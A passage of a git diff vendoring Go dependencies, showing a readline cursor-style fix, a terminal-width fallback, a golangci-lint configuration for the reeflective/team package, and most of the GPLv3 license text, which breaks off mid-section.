*Engine) PrintCursor(keymap Mode) { var cursor CursorStyle // Check for a configured cursor in .inputrc file. - modeSet := m.config.GetString(string(keymap)) - if modeSet != "" { - cursor = defaultCursors[Mode(modeSet)] + cursorOptname := fmt.Sprintf("cursor-%s", string(keymap)) + modeSet := strings.TrimSpace(m.config.GetString(cursorOptname)) + + if _, valid := cursors[CursorStyle(modeSet)]; valid { + fmt.Print(cursors[CursorStyle(modeSet)]) + return } - // If the configured one was invalid, use default one. - if cursor == "" { - cursor = defaultCursors[keymap] + if cursor, valid := defaultCursors[keymap]; valid { + fmt.Print(cursors[cursor]) + return } fmt.Print(cursors[cursor]) diff --git a/vendor/github.com/reeflective/readline/internal/term/term.go b/vendor/github.com/reeflective/readline/internal/term/term.go index fcf730696a..e9d8512fa4 100644 --- a/vendor/github.com/reeflective/readline/internal/term/term.go +++ b/vendor/github.com/reeflective/readline/internal/term/term.go @@ -31,7 +31,7 @@ func GetWidth() (termWidth int) { fd := int(stdoutTerm.Fd()) termWidth, _, err = GetSize(fd) - if err != nil { + if err != nil || termWidth == 0 { termWidth = defaultTermWidth } diff --git a/vendor/github.com/reeflective/team/.golangci.yml b/vendor/github.com/reeflective/team/.golangci.yml new file mode 100644 index 0000000000..b27a7fdc0e --- /dev/null +++ b/vendor/github.com/reeflective/team/.golangci.yml @@ -0,0 +1,455 @@ + +# ************************************************************************************* # +# Golang CI Lint Global Configuration # +# ************************************************************************************* # + +# This configuration is divided into several subsections: +# - Options for analysis running +# - Enabled/disabled linters +# - Other exclusions & Issues management +# - Issues severity management +# - Per-linter configurations + +# +# -------------------------- Options for analysis running -------------------------- # +# +run: + # + # ***** Tests **** + # + # Include test files or not. + # Default: true + tests: true + + # + # ***** Ignored directories, files & patterns ***** + # + # Which dirs to skip: issues from them won't be reported. + # Can use regexp here: `generated.*`, regexp is applied on full path. + # Default value is empty list, + # but default dirs are skipped independently of this option's value (see skip-dirs-use-default). + # "/" will be replaced by current OS file path separator to properly work on Windows. + # skip-dirs: + + # Enables skipping of directories: + # - vendor$, third_party$, testdata$, examples$, Godeps$, builtin$ + # Default: true + skip-dirs-use-default: true + + # Which files to skip: they will be analyzed, but issues from them won't be reported. + # Default value is empty list, + # but there is no need to include all autogenerated files, + # we confidently recognize autogenerated files. + # If it's not please let us know. + # "/" will be replaced by current OS file path separator to properly work on Windows. + # skip-files: + # - ".*\\.my\\.go$" + # - lib/bad.go + + # + # ***** Dependencies & Modules ***** + # + # If set we pass it to "go list -mod={option}". From "go help modules": + # If invoked with -mod=readonly, the go command is disallowed from the implicit + # automatic updating of go.mod described above. Instead, it fails when any changes + # to go.mod are needed. This setting is most useful to check that go.mod does + # not need updates, such as in a continuous integration and testing system. + # If invoked with -mod=vendor, the go command assumes that the vendor + # directory holds the correct copies of dependencies and ignores + # the dependency descriptions in go.mod. + # + # Allowed values: readonly|vendor|mod + # By default, it isn't set. + modules-download-mode: readonly # NOT SURE WHICH ONE TO USE BY DEFAULT + + # + # ***** Other ***** + # + # Allow multiple parallel golangci-lint instances running. + # If false (default) - golangci-lint acquires file lock on start. + allow-parallel-runners: true + + # Specific go build tags + build-tags: + - go_sqlite + + +# +# -------------------------- Output Configuration Options --------------------------- # +# +# output: + # Format: colored-line-number|line-number|json|tab|checkstyle|code-climate|junit-xml|github-actions + # + # Multiple can be specified by separating them by comma, output can be provided + # for each of them by separating format name and path by colon symbol. + # Output path can be either `stdout`, `stderr` or path to the file to write to. + # Example: "checkstyle:report.json,colored-line-number" + # + # Default: colored-line-number + # format: json + # Print lines of code with issue. + # Default: true + # print-issued-lines: false + # Print linter name in the end of issue text. + # Default: true + # print-linter-name: false + # Make issues output unique by line. + # Default: true + # uniq-by-line: false + # Add a prefix to the output file references. + # Default is no prefix. + # path-prefix: "" + # Sort results by: filepath, line and column. + # sort-results: false + +# +# ------------------------------------- Linters ------------------------------------ # +# +linters: + # Disable all linters. + # disable-all: true + + # Enable presets. Used to enable entire sets of linters based on their "tags". + # Some of these enabled sets might be redundant with the explicitly & individually + # enabled linters above, so pay attention to what you want to do. + # Also, some linters are explicitly deactived in some section below, which might + # be undesired behavior to you. + # https://golangci-lint.run/usage/linters + presets: + - bugs + - comment + - complexity + - error + - format + - import + - metalinter + - module + - performance + # - sql + - style + - test + - unused + + # Enable specific linter + # https://golangci-lint.run/usage/linters/#enabled-by-default-linters + # + # Example line: + # - lintername # Description () + # where: + # () means the linter is not fast, and not auto-fix capable + # (fast) means the linter is only fast + # (auto) means the linter can auto-fix its detected issues. + # + enable: + # Linters enabled by default (commented out in list of disabled linters below) + # - deadcode # Finds unused code () + - errcheck # Finds unchecked errors in Go programs () + - gosimple # Specializes in simplifying a code () + - govet # Reports suspicious constructs, such as Printf calls with wrong args () + - ineffassign # Detects when assignments to existing variables are not used (fast) + - staticcheck # A ton of static analysis checks () + # - structcheck # Finds unused struct fields () + - unused # Checks for unused constants, variables, functions and types () + # - varcheck # Finds unused global variables and constants () + + # Other linters (not enabled by default, thus optional) + # - asciicheck # Checks that code does not contain non-ASCII identifiers (bugs, style) + - bidichk # checks for dangerous unicode character sequences (bugs) + - bodyclose # checks HTTP response body is closed successfully (perf,bugs) + - containedctx # detects struct-contained context.Context field (style) + - contextcheck # check the function use a non-inherited context (bugs) + - cyclop # checks function and package cyclomatic complexity (cplx) + - decorder # checks declaration order/count of types/consts/vars/funcs (fmt,style) + # - depguard # checks if imports are in a list of acceptable packages (style,imp,mod) + - dogsled # checks assignments with too many blank identifiers (style) + - dupl # tool for code clone detection (style) + - durationcheck # checks for two durations multiplied together (bugs) + - errchkjson # checks types passed to JSON encoding functions & related (bugs) + - errname # checks that sentinel errors are prefix with Err (style) + - errorlint # finds potential problems with Go 1.13 error wrap scheme (bugs, err) + # - exhaustive # checks exhaustiveness of enum switch statements (bugs) + # - exhaustivestruct # checks if all struct fields are initialized (style,test) + - exportloopref # checks for pointers to enclosing loop variables (bugs) + # - forbidigo # Forbids identifiers (style) + - forcetypeassert # finds forced type assertions (style) + - funlen # tool for detection of long functions (cplx) + - gci # Controls package import order and makes deterministic (fmt,import) + # - gochecknoglobals # checks that no global variables exist (style) + # - gochecknoinits # checks that no init functions are present (style) + - gocognit # computes and checks the cognitive complexity of functions (cplx) + - goconst # finds repeated strings that can be replaced by a constant (style) + - gocritic # diagnostics for bugs/perf/style issues. Extensible (style,meta) + - gocyclo # computes and checks cyclomatic complexity of functions (cplx) + - godot # checks if comments end in a period (style,cmt) + - godox # tool for detection of FIXME, TODO and other comments (style,cmt) + - goerr113 # checks the errors handling expressions (style,err) + # - gofmt # formats and checks for code simplification (fmt) + # - gofumpt # checks whether code was gofumpt-ed (fmt) + - goheader # checks if file header matches to pattern (style) + #- goimports # fixes imports, formats code same as gofmt (fmt,import) + # - golint # Deprecated + - gomnd # analyzer to detect magic numbers (style) + - gomoddirectives # manage replace/retract/excludes directives in go.mod (style,mod) + # - gomodguard # allow/block for direct module deps. (style,imp,mod) + - goprintffuncname # check that printf-like funcs are named with f at end (style) + - gosec # inspect code for security problems (bugs) + - grouper # analyzer to analyze expression groups (style) + # - ifshort # checks that code uses short syntax for if statements (style) + - importas # enforces consistent import aliases (style) + # - interfacer # Deprecated + - ireturn # accept Interfaces, return Concrete Types (style) + # - lll # Report long lines (style) + - maintidx # measures the maintainability index of each function (cplx) + - makezero # finds slice declarations with non-zero initial length (style,bugs) + # - maligned # Deprecated + - misspell # finds commonly misspelled English words in comments (style,cmt) + - nakedret # finds naked returns in functions greater than spec len (style) + - nestif # reports deeply nested if statements (cplx) + - nilerr # finds code returning nil even if checks error not nil (bugs) + - nilnil # checks no simultaneous return of nil err and invalid value (style) + # - nlreturn # checks for a new line before return and branch statements (style) + - noctx # fnds sending HTTP requests without context.Context (perf,bugs) + - nolintlint # reports ill-formed or insufficient nolint directives (style) + - paralleltest # detects missing usage of t.Parallel() in your tests (style,test) + - prealloc # finds slice declarations that could be preallocated (perf) + - predeclared # finds code shadowing one of Go's predeclared identifiers (style) + # - promlinter # checks Prometheus metrics naming via promlint + - revive # fast,extensible,flexible linter. Replacement of golint (style,meta) + # - rowserrcheck # checks if Err of rows is checked successfully (bugs,sql) + # - scopelint # Deprecated + # - sqlclosecheck # checks that sql.Rows and sql.Stmt are closed (bugs,sql) + # - stylecheck # replacement for golint (style) + # - tagliatelle # checks struct tags (style) + - tenv # detects using os.Setenv instead of t.Setenv since go1.17 (style) + # - testpackage # makes you use a separate _test package (style,test) + - thelper # detects test helpers without t.Helper(), checks consistent (style) + - tparallel # detects inappropriate use of t.Parallel() in your tests (style,test) + # - typecheck # Like the front-end of the Go compiler, parses and type-checks Go code () + - unconvert # remove unnecessary type convertions (style) + - unparam # reports unused function parameters (unused) + - varnamelen # checks that the length of a var name matches its scope (style) + - wastedassign # finds wasted assignment statements (style) + # - whitespace # detection of leading and trailing whitespace (style) + # - wrapcheck # checks errors returned from external packages are wrapped (style,err) + - wsl # forces you to use empty lines ! (style) + + # Enable all available linters. + # enable-all: true + + # Disable specific linter + # https://golangci-lint.run/usage/linters/#disabled-by-default-linters--e--enable + disable: + # Linters enabled by default (commented out in list of disabled linters below) + # - deadcode + # - errcheck + # - gosimple + # - govet + # - ineffassign + # - staticcheck + # - structcheck + - typecheck + # - unused + # - varcheck + + # Deactivated linters above (explicitly deactived here, so that `presets` section + # above does not activate them again) + - asciicheck # Checks that code does not contain non-ASCII identifiers (bugs,style) + - depguard # checks if imports are in list of acceptable pkgs (style,imp,mod) + - exhaustive # checks exhaustiveness of enum switch statements (bugs) + - exhaustruct # checks if all struct fields are initialized (style,test) + - exhaustivestruct # checks if all struct fields are initialized (style,test) + - forbidigo # Forbids identifiers (style) + - gochecknoglobals # checks that no global variables exist (style) + - gochecknoinits # checks that no init functions are present (style) + - goimports # fixes imports, formats code same as gofmt (fmt,import) + - lll # Report long lines (style) + - promlinter # checks Prometheus metrics naming via promlint + - rowserrcheck # checks if Err of rows is checked successfully (bugs,sql) + - sqlclosecheck # checks that sql.Rows and sql.Stmt are closed (bugs,sql) + - stylecheck # replacement for golint (style) + - testpackage # makes you use a separate _test package (style,test) + - whitespace # detection of leading and trailing whitespace (style) + - nonamedreturns + - scopelint # Deprecated + - nlreturn # checks for a new line before return and branch statements (style) + - ifshort # checks that code uses short syntax for if statements (style) + - deadcode # Finds unused code () + - structcheck # Finds unused struct fields () + - varcheck # Finds unused global variables and constants () + - gomodguard # allow/block for direct module deps. (style,imp,mod) + - musttag + - wrapcheck # checks errors returned from external packages are wrapped (style,err) + - tagliatelle # checks struct tags (style) + - gofmt # formats and checks for code simplification (fmt) + - gofumpt # checks whether code was gofumpt-ed (fmt) + + # Run only fast linters from enabled linters set (first run won't be fast) + # Default: false + # fast: true + + +# +# --------------------------------- Linter settings ------------------------------------ # +# + +# This file contains only configs which differ from defaults. +# All possible options can be found here https://github.com/golangci/golangci-lint/blob/master/.golangci.reference.yml +linters-settings: + cyclop: + # The maximal code complexity to report. + # Default: 10 + max-complexity: 30 + # The maximal average package complexity. + # If it's higher than 0.0 (float) the check is enabled + # Default: 0.0 + package-average: 10.0 + + errcheck: + # Report about not checking of errors in type assertions: `a := b.(MyStruct)`. + # Such cases aren't reported by default. + # Default: false + check-type-assertions: true + + exhaustive: + # Program elements to check for exhaustiveness. + # Default: [ switch ] + check: + - switch + - map + + funlen: + # Checks the number of lines in a function. + # If lower than 0, disable the check. + # Default: 60 + lines: 100 + # Checks the number of statements in a function. + # If lower than 0, disable the check. + # Default: 40 + statements: 50 + + gocognit: + # Minimal code complexity to report + # Default: 30 (but we recommend 10-20) + min-complexity: 30 + + wsl: + allow-cuddle-declarations: true + allow-separated-leading-comment: true + + paralleltest: + ignore-missing: true + + goimports: + local-prefixes: github.com/reeflective/team + +# +# ----------------------- Other exclusions & Issues management -------------------------- # +# +issues: + # List of regexps of issue texts to exclude. + # + # But independently of this option we use default exclude patterns, + # it can be disabled by `exclude-use-default: false`. + # To list all excluded by default patterns execute `golangci-lint run --help` + # + # Default: [] + # exclude: + # - abcdef + + # Excluding configuration per-path, per-linter, per-text and per-source + exclude-rules: + # Exclude some linters from running on tests files. + - path: _test\.go + linters: + - gocyclo + - errcheck + - dupl + - gosec + + # Exclude known linters from partially hard-vendored code, + # which is impossible to exclude via `nolint` comments. + # - path: internal/hmac/ + # text: "weak cryptographic primitive" + # linters: + # - gosec + + # Exclude some `staticcheck` messages. + # - linters: + # - staticcheck + # text: "SA9003:" + + # Exclude `lll` issues for long lines with `go:generate`. + - linters: + - lll + source: "^//go:generate " + + # Independently of option `exclude` we use default exclude patterns, + # it can be disabled by this option. + # To list all excluded by default patterns execute `golangci-lint run --help`. + # Default: true. + # exclude-use-default: false + + # If set to true exclude and exclude-rules regular expressions become case-sensitive. + # Default: false + # exclude-case-sensitive: false + + # The list of ids of default excludes to include or disable. + # Default: [] + # include: + # - EXC0002 # disable excluding of issues about comments from golint. + + # Maximum issues count per one linter. + # Set to 0 to disable. + # Default: 50 + # max-issues-per-linter: 0 + # Maximum count of issues with the same text. + # Set to 0 to disable. + # Default: 3 + max-same-issues: 0 + # Show only new issues: if there are unstaged changes or untracked files, + # only those changes are analyzed, else only changes in HEAD~ are analyzed. + # It's a super-useful option for integration of golangci-lint into existing large codebase. + # It's not practical to fix all existing issues at the moment of integration: + # much better don't allow issues in new code. + # + # Default: false. + new: true + # Show only new issues created after git revision `REV`. + new-from-rev: HEAD + # Show only new issues created in git patch with set file path. + new-from-patch: path/to/patch/file + # Fix found issues (if it's supported by the linter). + fix : true + +# +# ---------------------------- Issues severity manament -------------------------------- # +# +# severity: + # Set the default severity for issues. + # + # If severity rules are defined and the issues do not match or no severity is provided to the rule + # this will be the default severity applied. + # Severities should match the supported severity names of the selected out format. + # - Code climate: https://docs.codeclimate.com/docs/issues#issue-severity + # - Checkstyle: https://checkstyle.sourceforge.io/property_types.html#severity + # - GitHub: https://help.github.com/en/actions/reference/workflow-commands-for-github-actions#setting-an-error-message + # + # Default value is an empty string. + # default-severity: error + # If set to true `severity-rules` regular expressions become case-sensitive. + # Default: false + # case-sensitive: true + # When a list of severity rules are provided, severity information will be added to lint issues. + # Severity rules have the same filtering capability as exclude rules + # except you are allowed to specify one matcher per severity rule. + # Only affects out formats that support setting severity information. + # + # Default: [] + # rules: + # - linters: + # - dupl + # severity: info + +# +# ---------------------------- Per-linter Configuration -------------------------------- # +# diff --git a/vendor/github.com/reeflective/team/LICENSE b/vendor/github.com/reeflective/team/LICENSE new file mode 100644 index 0000000000..f288702d2f --- /dev/null +++ b/vendor/github.com/reeflective/team/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with 